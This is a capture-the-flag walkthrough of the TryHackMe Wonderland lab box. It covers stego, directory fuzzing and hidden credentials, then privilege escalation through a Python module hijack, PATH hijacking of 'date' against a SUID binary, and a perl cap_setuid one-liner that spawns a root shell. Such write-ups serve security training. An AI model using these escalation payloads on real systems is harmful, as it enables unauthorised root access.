Intro

This Alice in TryHackMe Wonderland themed box is quite the rabbit hole. It starts with some basic web app enumeration, leading us to leaked credentials buried deep in a series of hidden directories. Once we get a foothold we’ll solve a series of path/code injection challenges with some light reversing to make a couple of horizontal jumps before finally getting a root shell.

I really enjoyed this box. The hints make it more like a puzzle than realistic hacking challenge, but the privesc was fun.

Recon

sudo rustscan -a 10.10.66.24 -- -sC -sV -oA nmap1

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe20sKMgKSMTnyRTmZhXPxn+xLggGUemXZLJDkaGAkZSMgwM3taNTc8OaEku7BvbOkqoIya4ZI8vLuNdMnESFfB22kMWfkoB0zKCSWzaiOjvdMBw559UkLCZ3bgwDY2RudNYq5YEwtqQMFgeRCC1/rO4h4Hl0YjLJufYOoIbK0EPaClcDPYjp+E1xpbn3kqKMhyWDvfZ2ltU1Et2MkhmtJ6TH2HA+eFdyMEQ5SqX6aASSXM7OoUHwJJmptyr2aNeUXiytv7uwWHkIqk3vVrZBXsyjW4ebxC3v0/Oqd73UWd5epuNbYbBNls06YZDVI8wyZ0eYGKwjtogg5+h82rnWN
|   256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHH2gIouNdIhId0iND9UFQByJZcff2CXQ5Esgx1L96L50cYaArAW3A3YP3VDg4tePrpavcPJC2IDonroSEeGj6M=
|   256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAsWAdr9g04J7Q8aeiWYg03WjPqGVS6aNf/LF+/hMyKh
80/tcp open  http    syn-ack ttl 61 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Follow the white rabbit.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Let’s start by taking a look at what’s hosted by the Golang HTTP service on port 80.

Default page on port 80

Judging by the content of this page, I suspect this is a very CTF-y box. We are given a hint to “Follow the White Rabbit.” Let’s download the image and inspect it with a stego tool to see if it contains any hidden data.

┌──(brian㉿kali)-[~/…/hacks/tryhackme/Wonderland/stego]
└─$ wget http://10.10.66.24/img/white_rabbit_1.jpg
--2021-08-26 21:44:07--  http://10.10.66.24/img/white_rabbit_1.jpg
Connecting to 10.10.66.24:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1993438 (1.9M) [image/jpeg]
Saving to: ‘white_rabbit_1.jpg’

white_rabbit_1.jpg        100%[====================================>]   1.90M   102KB/s    in 20s

2021-08-26 21:44:27 (98.2 KB/s) - ‘white_rabbit_1.jpg’ saved [1993438/1993438]


┌──(brian㉿kali)-[~/…/hacks/tryhackme/Wonderland/stego]
└─$ stegseek -sf white_rabbit_1.jpg -xf white_rabbit_1.jpg.out
StegSeek version 0.5
Progress: 0.00% (0 bytes)

[i] --> Found passphrase: ""
[i] Original filename: "hint.txt"
[i] Extracting to "white_rabbit_1.jpg.out"

┌──(brian㉿kali)-[~/…/hacks/tryhackme/Wonderland/stego]
└─$ cat white_rabbit_1.jpg.out
follow the r a b b i t

Another hint to follow the rabbit. That’s great but doesn’t push us forward. We can fuzz for content next.

ffuf -t 80 -u http://10.10.66.24/FUZZ -w /usr/share/wordlists/directory-list-2.3-medium.txt -c

img                     [Status: 301, Size: 0, Words: 1, Lines: 1]
r                       [Status: 301, Size: 0, Words: 1, Lines: 1]
poem                    [Status: 301, Size: 0, Words: 1, Lines: 1]

/poem is a dead end, but on /r we get another hint: “Keep Going.” 🙃

If we repeat the scan but target the /r directory this time, we quickly find an /a directory. From here it’s easy to guess that we can follow the rabbit all the way to /r/a/b/b/i/t.

Enter Wonderland page

Viewing the source of this page reveals a hidden paragraph containing credentials for Alice.

<!DOCTYPE html>
<head>
  <title>Enter wonderland</title>
  <link rel="stylesheet" type="text/css" href="/main.css" />
</head>
<body>
  <h1>Open the door and enter wonderland</h1>
  <p>"Oh, you’re sure to do that," said the Cat, "if you only walk long enough."</p>
  <p>Alice felt that this could not be denied, so she tried another question. "What sort of people live about here?"</p>
  <p>
    "In that direction,"" the Cat said, waving its right paw round, "lives a Hatter: and in that direction," waving the
    other paw, "lives a March Hare. Visit either you like: they’re both mad."
  </p>
  <p style="display: none;">alice:REDACTED</p>
  <img src="/img/alice_door.png" style="height: 50rem;" />
</body>

We haven’t found any kind of login page yet, so let’s see if we can get into SSH with these creds.

Initial Foothold

With ssh alice@10.10.66.24 we can connect and authenticate with the password we found.

User Flag

alice@wonderland:~$ ls -la
total 40
drwxr-xr-x 5 alice alice 4096 May 25  2020 .
drwxr-xr-x 6 root  root  4096 May 25  2020 ..
lrwxrwxrwx 1 root  root     9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 alice alice  220 May 25  2020 .bash_logout
-rw-r--r-- 1 alice alice 3771 May 25  2020 .bashrc
drwx------ 2 alice alice 4096 May 25  2020 .cache
drwx------ 3 alice alice 4096 May 25  2020 .gnupg
drwxrwxr-x 3 alice alice 4096 May 25  2020 .local
-rw-r--r-- 1 alice alice  807 May 25  2020 .profile
-rw------- 1 root  root    66 May 25  2020 root.txt
-rw-r--r-- 1 root  root  3577 May 25  2020 walrus_and_the_carpenter.py

The root flag is in Alice’s home directory. 🤔

So maybe the user flag is in the root directory?

alice@wonderland:~$ ls -la /root/user.txt
-rw-r--r-- 1 root root 32 May 25  2020 /root/user.txt
alice@wonderland:~$ wc -c /root/user.txt
32 /root/user.txt

…and it is!

Privilege Escalation

As usual a good place to start when attempting PrivEsc is to check if we have any sudo rights.

alice@wonderland:~$ sudo -l
[sudo] password for alice:
Matching Defaults entries for alice on wonderland:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on wonderland:
    (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

We can run the python script located in Alice’s home directory as the user rabbit.

alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
The line was:
The line was:    To leave the oyster-bed.
The line was:    All hopping through the frothy waves,
The line was:
The line was:    And you are very nice!"
The line was:    "To come and spoil the fun!"
The line was:    Before his streaming eyes.
The line was:    The Walrus did beseech.
The line was:    After we’ve brought them out so far,
The line was:    "But not on us!" the Oysters cried,

Upon inspecting the script we can see all it’s doing is printing 10 random lines from the poem. The first line of the script imports the random module without an absolute path, so we can abuse this and create our own module with the same name that will get imported instead. Further down in the script we see it needs to have a choice() function in order for our malicious code to be executed.

In Alice’s home directory, create a file named random.py with the following code, and then execute the script again in order to spawn a shell as rabbit.

import os

def choice(s):
  os.system("/bin/bash")
alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
rabbit@wonderland:~$ id
uid=1002(rabbit) gid=1002(rabbit) groups=1002(rabbit)
rabbit@wonderland:~$ cd /home/rabbit
rabbit@wonderland:/home/rabbit$ ls -la
total 40
drwxr-x--- 2 rabbit rabbit  4096 May 25  2020 .
drwxr-xr-x 6 root   root    4096 May 25  2020 ..
lrwxrwxrwx 1 root   root       9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 rabbit rabbit   220 May 25  2020 .bash_logout
-rw-r--r-- 1 rabbit rabbit  3771 May 25  2020 .bashrc
-rw-r--r-- 1 rabbit rabbit   807 May 25  2020 .profile
-rwsr-sr-x 1 root   root   16816 May 25  2020 teaParty
rabbit@wonderland:/home/rabbit$ file teaParty
teaParty: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=75a832557e341d3f65157c22fafd6d6ed7413474, not stripped

Now in rabbit’s home directoryh we find a SUID binary owned by root. Since this box doesn’t have strings installed, let’s transfer the binary back to ourselves to inspect it further.

We already know python3 is installed so we can use it to spin up a temporary HTTP server by running python3 -m http.server 8080. Then we can wget http://10.10.66.24:8080/teaParty from our local machine to download it.

strings shows us a vulnerability within this command that gets executed by the program: /bin/echo -n 'Probably by ' && date --date='next hour' -R

Similar to how we abused a relative path reference in the python script before, we can do the same here with the date command. But this time since the binary is owned by root and has the sticky bit set, we should be able to break out to a root shell!

Our new date script only needs to start a new bash process. Save this in rabbit’s home directory:

#!/bin/bash

/bin/bash -p
  1. Make it executable: chmod +x ./date

  2. Insert rabbit’s home directory at the top of the environment’s PATH: export PATH=/home/rabbit:$PATH

  3. ./teaParty to run the program.

And now we have a shell as…hatter?

rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hatter@wonderland:/home/rabbit$ id
uid=1003(hatter) gid=1002(rabbit) groups=1002(rabbit)
hatter@wonderland:/home/rabbit$

Hmm..it is owned by root, but if we inspect the binary with strace ./teaParty to see what system calls it makes, we’ll see it actually sets the user ID on the process to 1003 which is hatter’s id.

Hatter doesn’t have any sudo privileges but if we check capabilities on the system, we’ll see that /usr/bin/perl has the cap_setuid capability, meaning it can change the UID of the running process.

That means we can run a perl one liner to switch to UID 0 (root) and spawn a new shell process, giving us a root shell!

hatter@wonderland:~$ getcap -r / 2>/dev/null
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep
hatter@wonderland:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# id
uid=0(root) gid=1003(hatter) groups=1003(hatter)
# whoami
root
# wc -c /home/alice/root.txt
66 /home/alice/root.txt